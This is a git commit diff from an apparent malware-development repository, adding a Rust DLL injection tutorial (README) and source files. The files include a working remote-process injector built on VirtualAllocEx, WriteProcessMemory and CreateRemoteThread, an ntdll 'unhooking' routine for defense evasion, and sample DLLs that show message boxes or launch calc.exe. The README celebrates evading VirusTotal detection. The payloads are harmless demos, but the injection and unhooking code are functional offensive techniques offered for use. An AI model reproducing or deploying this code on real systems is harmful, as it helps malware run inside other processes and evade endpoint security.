This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Add files via upload
Abdul Wahab Junaide6999b5aeca8
diff --git a/Rust for Hacking/Dll_injection/README.md b/Rust for Hacking/Dll_injection/README.mdnew file mode 100644index 0000000..d583d37--- /dev/null+++ b/Rust for Hacking/Dll_injection/README.md@@ -0,0 +1,212 @@+## DLL INJECTION USING RUST++<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBufqwHLGFsJy0ZPA88aCoaIMxXQfNSmkwhz9mg0s_VCJvvTTFt5p5wW7gG4FJKIMcBkur-1pOtZqaB6qJjPS4KJ8LUIpJZ9yeoKVh5CvtM2WayatSXzOoVGelCQh_3yZ2tITXYi5tsQfCK7Lbc6yrtEhwzQRauyUHvelV7vy7s5EJPZgZZQhxPa6NwKUD/s728-rw-e30/windows-security.jpg" width="450" height="250"/>++Hello nerds. So today we are going to see How you can write your own dll on various methods and perform dll injection using Rust.++--------------------------++**Note ::> This is not an complete tutorial of teching how they works underneath but an actual implemeting methods to create your own custom dll's and perform DLL injection. Feel Free to google if you got stuck**++--------------------------++### Creating DLL Files.++create an new --lib crate and add the following [lib] to your cargo.toml file to compile the following code into dll's.++```+[lib]+crate-type = ["cdylib"]+```++Lets write this following sample program and compile it !++```++use std::{ffi::CString, ptr::null_mut};+use winapi::um::winuser::{MessageBoxA, MB_OK};++#[no_mangle]+pub extern "stdcall" fn msg_frm_vx(){+ let msg = CString::new("Malware resources needs to be free and wide").expect("Failed");+ let cap = CString::new("Message From Vx-Underground").expect("Error cap");+ unsafe{+ MessageBoxA(null_mut(), msg.as_ptr(), cap.as_ptr(), MB_OK);+ }+}++// stdcall in C+#[no_mangle]+pub extern "system" fn msg_frm_smukx(){+ let msg = CString::new("Custom DLL's are always Cool. Bye").expect("Failed");+ let cap = CString::new("Message From SMukx").expect("Error cap");+ unsafe{+ MessageBoxA(null_mut(), msg.as_ptr(), cap.as_ptr(), MB_OK);+ }+}+```++The raw code are posted in this repo. Feel free to check them out !++Above code here : [Code](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/dll_injection/hook.dll.rs)++**Short Basics:**++**Why we use no_mangle on functions**++- In Rust, the no_mangle is used to instruct the compiler to not [mangle](https://www.google.com/search?q=mangle&sourceid=chrome&ie=UTF-8) the symbol name of a function or item++Ok but for what shit do i need to use it ?++- When you create an rust library intended to be used as a DLL, you want other languages (like C or C++) to be able to call your rust functions. However, by default, rust applies its own mangling scheme, which would make the function names unrecognizable to the external language.++- so when you use no_mangle the symbol name of the function or item remains exactly as you wrote it in your rust code.++<br>++++hook.dll file compiled in release folder.++lets go there and call the function using `rundll32.exe dllpath,func_name`++++Woah... it works. so this is how dll works haa ..++ok so lets get into action and write an injector to inject dll into processes .++### Creating DLL Injector.++Many Hours Later...++<img src="images/image-5.png" width="350" height="200"> <br>++After Hours of solving bugs and erros, implementing new methods. I finally wrote an Proper Injector with ErrorHandling Capabilities.++++<h4> The Injector code can be found Here :<a href="https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/dll_injection/injector.rs"> Code </a></h3>++**Lets try to inject it !!**++++++Yes we have successfully injected our DLL .. But wait till now we saw how we can implement multiple functions and MessageBoxes. So what about some Program executions !!++### lets wrtie something interesing. Lets write an dll that opens actual Applications !++The game begins ...++Lets write an Simple dll that opens calc.exe using CreateProcessA WinAPI func.++```+use std::ptr;+use std::ffi::CString;+use winapi::um::processthreadsapi::{STARTUPINFOA, PROCESS_INFORMATION, CreateProcessA};+use winapi::um::winbase::CREATE_NEW_CONSOLE;++#[no_mangle]+pub extern "stdcall" fn DllMain() {+ unsafe {+ let mut startup_info: STARTUPINFOA = std::mem::zeroed();+ startup_info.cb = std::mem::size_of::<STARTUPINFOA>() as u32;++ let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();++ let application_name = CString::new("C:\\Windows\\System32\\calc.exe").expect("CString::new failed");++ // Create process+ let success = CreateProcessA(+ ptr::null(),+ application_name.as_ptr() as *mut i8,+ ptr::null_mut(),+ ptr::null_mut(),+ false as i32,+ CREATE_NEW_CONSOLE,+ ptr::null_mut(),+ ptr::null(),+ &mut startup_info,+ &mut process_info,+ );++ if success.is_null() {+ println!("Failed to open Calculator !");+ return+ }+ }+}+```++Calc.exe code can be found Here : [Code](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/dll_injection/simple_calc.rs)++Lets compile and see if its works !++++It works but i made a mistakes. when you run this dll . the calculator opens up multiple times becasue i didnt close handle for the Process . so lets rewrite the hook.dll that opens the calc.exe++When i tried to fix it guess what! i fuc*ed it up :()++Insted of fixing it , I buffed that error . It executes 2 calc at the time : | .+++++And some hours later ...++<img src="images/image-12.png" height="200" width="350"/> <br>+++++**Yayy.. I Fixed it !! + Found one Golden Gem**++<img src="images/image-9.png" height="200" width="250" /> <br>+++**How i Fixed it ?**++First i Closed the handle using CloseHandle and WaitForSignalObject API's But i dont know why it does'nt works!++So to properly handle the dll's. I used some events such as ATTACH and DETACH and by the process i Closed its threads and processes.++**The Golden Gem or Bug ?**++So when i execute my dll. i closed my notepad but noticed that still my notepad is running on the same PID !++I Tried to restart my Process Hacker but the notepad.exe is showing buy i already closed it .++when i detach my calc.exe manually , the process automatically closes it . Hmm thats interesting .. let me research more about it ;)++**Fixed calc.exe code can be found here [fixed_calc_dll.rs](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/dll_injection/fixed_calc_dll.rs)**++Thats it nerds .. now you can create and rock your own custom dll and exec any shit using Rust !++I Tried to check if i get any red flags on my dll file on virustotal!++<img src="https://github.com/Whitecat18/Rust-for-Malware-Development/assets/96696929/15fd5136-733e-4061-981b-050d57f9c16a" width=500 height=300 />++Looks like we are good to go !++### Thanks and about+Follow me at Twitter: [5mukx](https://twitter.com/5mukx)++**REFLECTIVE DLL SOON..**+### Credits and Resources :++https://doc.rust-lang.org/reference/linkage.html#:~:text=Static%20and%20dynamic%20C%20runtimes,runtimes%20for%20targets%20as%20appropriate++https://github.com/rust-lang/rfcs/blob/master/text/1510-cdylib.md#detailed-design++https://docs.rs/winapi/latest/winapi/++https://learn.microsoft.com/en-us/windows/win32/dlls/about-dynamic-link-libraries++https://learn.microsoft.com/en-us/cpp/build/exporting-from-a-dll?view=msvc-170++https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mscs/implementing-dllmain++diff --git a/Rust for Hacking/Dll_injection/dll_unhooking.rs b/Rust for Hacking/Dll_injection/dll_unhooking.rsnew file mode 100644index 0000000..791f27c--- /dev/null+++ b/Rust for Hacking/Dll_injection/dll_unhooking.rs@@ -0,0 +1,110 @@+/*+ DLL Unhooking+ Thanks to RedTeamNotes:+ Resource Used From [https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++]+ @5mukx+*/+++use std::ffi::CString;+use std::ptr::{self, null_mut};++use winapi::shared::minwindef::HMODULE;+use winapi::um::fileapi::{CreateFileA, OPEN_EXISTING};+use winapi::um::handleapi::CloseHandle;+use winapi::um::libloaderapi::GetModuleHandleA;+use winapi::um::memoryapi::{MapViewOfFile, VirtualProtect, FILE_MAP_READ};+use winapi::um::psapi::GetModuleInformation;+use winapi::um::winbase::CreateFileMappingA;+use winapi::um::winnt::{GENERIC_READ, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER, PAGE_EXECUTE_READWRITE, PAGE_READONLY, SEC_IMAGE};+use winapi::um::{processthreadsapi::GetCurrentProcess, psapi::MODULEINFO};+use winapi::ctypes::c_void;+++// macro_rules! error {+// ($msg:expr, $(arg:expr), *) => {+// println!("\\_____{} ", format($msg, $(arg), *));+// }+// }+++fn main(){+ unsafe{+ let process: *mut c_void = GetCurrentProcess();+ let mut mi: MODULEINFO = std::mem::zeroed();+ let ntdll_cstr = CString::new("ntdll.dll").unwrap();+ let ntdll_module: HMODULE = GetModuleHandleA(ntdll_cstr.as_ptr());++ GetModuleInformation(+ process,+ ntdll_module,+ &mut mi,+ std::mem::size_of::<MODULEINFO>() as u32,+ );++ let ntdll_base = mi.lpBaseOfDll;+ let ntdll_file = CreateFileA(+ ntdll_cstr.as_ptr(),+ GENERIC_READ,+ 0,+ null_mut(),+ OPEN_EXISTING,+ 0,+ null_mut(),+ );++ let ntdll_mapping = CreateFileMappingA(+ ntdll_file,+ null_mut(),+ PAGE_READONLY | SEC_IMAGE,+ 0,+ 0,+ ptr::null(),+ );++ let ntdll_mapping_address = MapViewOfFile(+ ntdll_mapping,+ FILE_MAP_READ,+ 0,+ 0,+ 0+ );++ let hook_dos_header = ntdll_base as *const IMAGE_DOS_HEADER;+ let hook_nt_header = (ntdll_base as usize + (*hook_dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;++ for i in 0..(*hook_nt_header).FileHeader.NumberOfSections{+ let hook_sec_header = (hook_nt_header as usize + 0xF8 + (i as usize * 0x28)) as *const IMAGE_SECTION_HEADER;++ if (*hook_sec_header).Name.starts_with(b".text\0") {+ let mut old_protect = 0u32;+ let section_base = (ntdll_base as usize + (*hook_sec_header).VirtualAddress as usize) as *mut u8;+ let section_size = *(*hook_sec_header).Misc.VirtualSize() as usize;++ VirtualProtect(+ section_base as *mut _,+ section_size,+ PAGE_EXECUTE_READWRITE,+ &mut old_protect,+ );++ std::ptr::copy_nonoverlapping(+ (ntdll_mapping_address as usize + (*hook_sec_header).VirtualAddress as usize) as *const u8, // Source Address+ section_base, // Destination Address+ section_size, // Size+ );++ VirtualProtect(+ section_base as *mut _,+ section_size,+ old_protect,+ &mut old_protect,+ );+ }+ }+ CloseHandle(process);+ CloseHandle(ntdll_file);+ CloseHandle(ntdll_mapping);+ CloseHandle(ntdll_module as *mut c_void);+ }+}diff --git a/Rust for Hacking/Dll_injection/fixed_calc_dll.rs b/Rust for Hacking/Dll_injection/fixed_calc_dll.rsnew file mode 100644index 0000000..403e691--- /dev/null+++ b/Rust for Hacking/Dll_injection/fixed_calc_dll.rs@@ -0,0 +1,58 @@+use std::ffi::CString;+use std::ptr::{null,null_mut};+use winapi::shared::minwindef::DWORD;+use winapi::um::handleapi::CloseHandle;+use winapi::um::processthreadsapi::{STARTUPINFOA, PROCESS_INFORMATION, CreateProcessA};+use winapi::um::synchapi::WaitForSingleObject;+use winapi::um::winbase::{CREATE_NEW_CONSOLE, INFINITE};+use winapi::um::libloaderapi::{FreeLibraryAndExitThread, GetModuleHandleA};+++#[no_mangle]++pub extern "stdcall" fn DllMain(_module: *mut u8, reason: DWORD, _reserved: *mut u8) -> bool {+ match reason {+ 1 => {+ unsafe {+ let mut startup_info: STARTUPINFOA = std::mem::zeroed();+ startup_info.cb = std::mem::size_of::<STARTUPINFOA>() as u32;++ let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();++ let application_name = CString::new("C:\\Windows\\System32\\calc.exe").expect("CString::new failed");++ let success = CreateProcessA(+ null(),+ application_name.as_ptr() as *mut i8,+ null_mut(),+ null_mut(),+ false as i32,+ CREATE_NEW_CONSOLE,+ null_mut(),+ null(),+ &mut startup_info,+ &mut process_info,+ );++ if success == 0 {+ println!("Failed to open Calculator !");+ return false;+ }++ WaitForSingleObject(process_info.hProcess, INFINITE);++ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);++ let module_handle = GetModuleHandleA(null());+ FreeLibraryAndExitThread(module_handle, 0);++ }+ },+ 0 => {+ return false;+ },+ _ => {},+ }+ true+}diff --git a/Rust for Hacking/Dll_injection/hook.dll.rs b/Rust for Hacking/Dll_injection/hook.dll.rsnew file mode 100644index 0000000..d0cd7b1--- /dev/null+++ b/Rust for Hacking/Dll_injection/hook.dll.rs@@ -0,0 +1,27 @@+use std::{ffi::CString, ptr::null_mut};+use winapi::um::winuser::{MessageBoxA, MB_OK};++/*+ #[no_mangle] Short Explain+ - no_mangle is used to interoperate with C code meaning we can call+ these functions directly from C without any naming conflicts.+ - It can also used to keep its original name during the compile time.+*/+#[no_mangle]+pub extern "stdcall" fn msg_frm_vx(){+ let msg = CString::new("DLL's are awesome ! Especially Exec in Rust").expect("Failed");+ let cap = CString::new("Message From Vx-Underground").expect("Error cap");+ unsafe{+ MessageBoxA(null_mut(), msg.as_ptr(), cap.as_ptr(), MB_OK);+ }+}++// stdcall in C+#[no_mangle]+pub extern "system" fn msg_frm_smukx(){+ let msg = CString::new("Custom DLL's are always Cool. Bye").expect("Failed");+ let cap = CString::new("Message From SMukx").expect("Error cap");+ unsafe{+ MessageBoxA(null_mut(), msg.as_ptr(), cap.as_ptr(), MB_OK);+ }+}diff --git a/Rust for Hacking/Dll_injection/injector.rs b/Rust for Hacking/Dll_injection/injector.rsnew file mode 100644index 0000000..e192187--- /dev/null+++ b/Rust for Hacking/Dll_injection/injector.rs@@ -0,0 +1,171 @@+/*+Dll Injector using Rust..+code source [smukx]: https://github.com/Whitecat18/Rust-for-Malware-Development.git++*/++use std::env::args;+use std::ptr::null_mut;+// use winapi::shared::minwindef::LPVOID;+use winapi::um::errhandlingapi::GetLastError;+use winapi::um::handleapi::CloseHandle;+use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};+use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory};+// use winapi::um::minwinbase::LPTHREAD_START_ROUTINE;+use winapi::um::processthreadsapi::CreateRemoteThread;+use winapi::um::synchapi::WaitForSingleObject;+use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE};+use winapi::um::{processthreadsapi::OpenProcess, winnt::PROCESS_ALL_ACCESS};+use winapi::shared::ntdef::NULL;+use winapi::ctypes::c_void;+use winapi::um::winbase::INFINITE; // 0xFFFFFFFF+// use winapi::um::handleapi::HANDLE+// use winapi::um::winnt::{HANDLE,LPCSTR};++const PLU: &str = "[+]";++fn main(){+ let pid_inp = args().collect::<Vec<String>>();+ // let inp = inp[1].trim().parse::<i32>();++ if pid_inp.len() != 2{+ println!("{} Usage: dll_inject.exe <PID>",PLU);+ return;+ }++ let pid = pid_inp[1].parse::<u32>().expect("Provide Valid PID");+ println!("{} PID: {}",PLU,pid);++ unsafe{ //hook.dll+ // let dllpath = "C:\\Users\\KAVIN STUDIO\\Desktop\\rust\\learn\\hook.dll";+ let dllpath = "H:\\malware_development\\hook\\target\\release\\hook.dll";+ // let dllpath = "hook.dll";+ let dllsize = dllpath.len();+ let process = OpenProcess(PROCESS_ALL_ACCESS, false as i32 ,pid);++ if process == NULL{+ println!("{} failed to get handle to the process: {}",PLU,GetLastError());+ return+ }++ println!("{} HANDLE of {} : {:?} ",PLU,pid,process);++ let buffer = VirtualAllocEx(+ process,+ null_mut(),+ dllsize,+ MEM_COMMIT|MEM_RESERVE,+ PAGE_READWRITE,+ );++ println!("{} Buffer Allocated to process memory with readwrite permission: {:#?}",PLU,buffer);++ if buffer == null_mut(){+ println!("{} Failed to allocate buffer: error: {}",PLU,GetLastError());+ return+ }++ WriteProcessMemory(+ process,+ buffer,+ dllpath.as_ptr() as *const c_void,+ dllsize, null_mut()+ );++ println!("{} wrote [{}] to process memory !",PLU,dllpath);+++ // Sick work starts from here ;<(+ // Calling kernel32.dll and LoadLibraryA+++ let kernel32 = GetModuleHandleA("kernel32.dll\0".as_ptr() as *const _);++ // let kernel32 = LoadLibraryW("Kernel32\0".as_ptr() as *const u16);++ if kernel32 == null_mut(){+ println!("{} Failed to get handle to kernel32.dll. Error: {}",PLU,GetLastError());+ CloseHandle(process);+ return+ }+ println!("{} Got a handle to kernel32.dll: {:#?}",PLU,kernel32);++ let kernel32_addr = GetProcAddress(kernel32,"LoadLibraryA\0".as_ptr() as *const _);++ if kernel32_addr.is_null(){+ println!("{} Failed to get address of LoadLibrary. Error: {:#?}",PLU,kernel32_addr);+ return+ }+ println!("{} LoadLibraryA Address : {:#?}",PLU,kernel32_addr);++ // This is some thing that i tried something new . got bunch of errors when i tried . will be used on reflective DLL.+++ // Calling the LoadLibrary Function !+ // Some shit i tried but not worked as i expected !+ // let load_lib: LPTHREAD_START_ROUTINE = {+ // let lib_name = CString::new("LoadLibraryW").unwrap();+ // let load_lib_ptr = GetProcAddress(kernel32, lib_name.as_ptr());+ // // if load_lib_ptr == null_mut() or NULL+ // if load_lib_ptr.is_null(){+ // println!("{} Failed to get the address of LoadLibraryW {}",PLU,GetLastError());+ // return+ // }+ // std::mem::transmute(load_lib_ptr)+ // };++ // let load_lib: unsafe extern "system" fn(LPVOID) -> HANDLE = std::mem::transmute(GetProcAddress(kernel32,b"LoadLibraryA\0".as_ptr() as LPCSTR));+ // let load_library: extern "system" fn(LPVOID) -> HANDLE = std::mem::transmute(GetProcAddress(kernel32, b"LoadLibraryA\0".as_ptr() as LPCSTR));++ // if load_lib == null_mut(){+ // println!("{} Failed to get the address of the LoadLibraryA. Error: {}",PLU,GetLastError());+ // return+ // }++ // type LoadLibraryFn = unsafe extern "system" fn(*mut winapi::ctypes::c_void) -> u32;+ // // type LoadLibraryFn = extern "system" fn(lp_libfilename: LPCSTR) -> HANDLE;++ // let load_library: LoadLibraryFn = {+ // // Get the address of LoadLibraryA+ // let load_library_addr = GetProcAddress(kernel32, b"LoadLibraryA\0".as_ptr() as LPCSTR);+ // if load_library_addr.is_null() {+ // println!("Failed to get the address of LoadLibraryA.");+ // return;+ // }+ // std::mem::transmute(load_library_addr)+ // };++ // let load_val = load_library(buffer as LPCSTR);+ // if load_val.is_null(){+ // println!("{} Failed to load the dll into the target process: {}",PLU,GetLastError());+ // return+ // }+ // println!("{} Got the address of the LoadLibraryW: {:?}",PLU,load_library);++ let thread = CreateRemoteThread(+ process,+ null_mut(),+ 0,+ Some(std::mem::transmute(kernel32_addr)),+ buffer,+ 0,+ null_mut(),+ );++ if thread.is_null(){+ println!("{} Failed to get handle to the thread: {}",PLU,GetLastError());+ return+ }++ WaitForSingleObject(thread, INFINITE);++ println!("{} Finish Executing thread...",PLU);+ CloseHandle(thread);+ CloseHandle(process);++ println!("{} DLL INJECTION EXECUTED SUCCESSFULLY :D",PLU);+ return+ }+}++diff --git a/Rust for Hacking/Dll_injection/multi_func_dll.rs b/Rust for Hacking/Dll_injection/multi_func_dll.rsnew file mode 100644index 0000000..870aae1--- /dev/null+++ b/Rust for Hacking/Dll_injection/multi_func_dll.rs@@ -0,0 +1,48 @@++use std::ffi::CString;+use std::ptr::null_mut;++use winapi::shared::minwindef::HINSTANCE;+use winapi::um::winnt::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};+use winapi::um::winuser::{MessageBoxA,MB_OK,MB_ICONEXCLAMATION,MB_ICONWARNING};+use winapi::um::libloaderapi::{GetModuleHandleW, FreeLibraryAndExitThread};+++#[no_mangle]+#[allow(unused_variables)]+extern "C" fn DllMain(+ dll_module: HINSTANCE,+ call_reason: u32,+ _: *mut ()) -> bool+{+ match call_reason{+ DLL_PROCESS_ATTACH => attach(),+ DLL_PROCESS_DETACH => detach(),+ _ => ()+ }+ true+}+#[no_mangle]+fn attach(){+ unsafe{+ let text: CString = CString::new("Custom DLL's are fking awesome !").expect("Failed to convert CString");+ let caption = CString::new("By nerdy smukx").expect("Failed to convert into cstring");+ // let text = "Custom DLL's are fking awesome !";+ // let caption ="Msg by vx_unknown";+ MessageBoxA(null_mut(), text.as_ptr() as *const i8, caption.as_ptr() as *const i8, MB_OK | MB_ICONEXCLAMATION);+ // JUST CALLING THE DETACH FUNCTION !+ detach()+ }+}++#[no_mangle]+fn detach(){+ unsafe{+ let text = CString::new("My moto is to leave malware resources for free ").expect("Failed to convert CString");+ let caption = CString::new("Msg by vx_underground").expect("Failed to convert into cstring");+ let instance = GetModuleHandleW(std::ptr::null());+ MessageBoxA(null_mut(), text.as_ptr() as *const i8, caption.as_ptr() as *const i8, MB_OK | MB_ICONWARNING);++ FreeLibraryAndExitThread(instance, 0);+ }+}diff --git a/Rust for Hacking/Dll_injection/simple_calc.rs b/Rust for Hacking/Dll_injection/simple_calc.rsnew file mode 100644index 0000000..e8f3601--- /dev/null+++ b/Rust for Hacking/Dll_injection/simple_calc.rs@@ -0,0 +1,42 @@+/*+Executing calc.exe by using WINAPI'S+*/++use std::ptr;+use std::ffi::CString;+use winapi::um::handleapi::CloseHandle;+use winapi::um::processthreadsapi::{STARTUPINFOA, PROCESS_INFORMATION, CreateProcessA};+use winapi::um::synchapi::WaitForSingleObject;+use winapi::um::winbase::{CREATE_NEW_CONSOLE, INFINITE};++#[no_mangle]+pub extern "stdcall" fn DllMain() {+ unsafe {+ let mut startup_info: STARTUPINFOA = std::mem::zeroed();+ startup_info.cb = std::mem::size_of::<STARTUPINFOA>() as u32;++ let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();++ let application_name = CString::new("C:\\Windows\\System32\\calc.exe").expect("CString::new failed");++ let success = CreateProcessA(+ ptr::null(),+ application_name.as_ptr() as *mut i8,+ ptr::null_mut(),+ ptr::null_mut(),+ false as i32,+ CREATE_NEW_CONSOLE,+ ptr::null_mut(),+ ptr::null(),+ &mut startup_info,+ &mut process_info,+ );++ if success == 0 {+ println!("Failed to open Calculator !");+ return+ }+ WaitForSingleObject(success as *mut winapi::ctypes::c_void, INFINITE);+ CloseHandle(success as *mut winapi::ctypes::c_void);+ }+}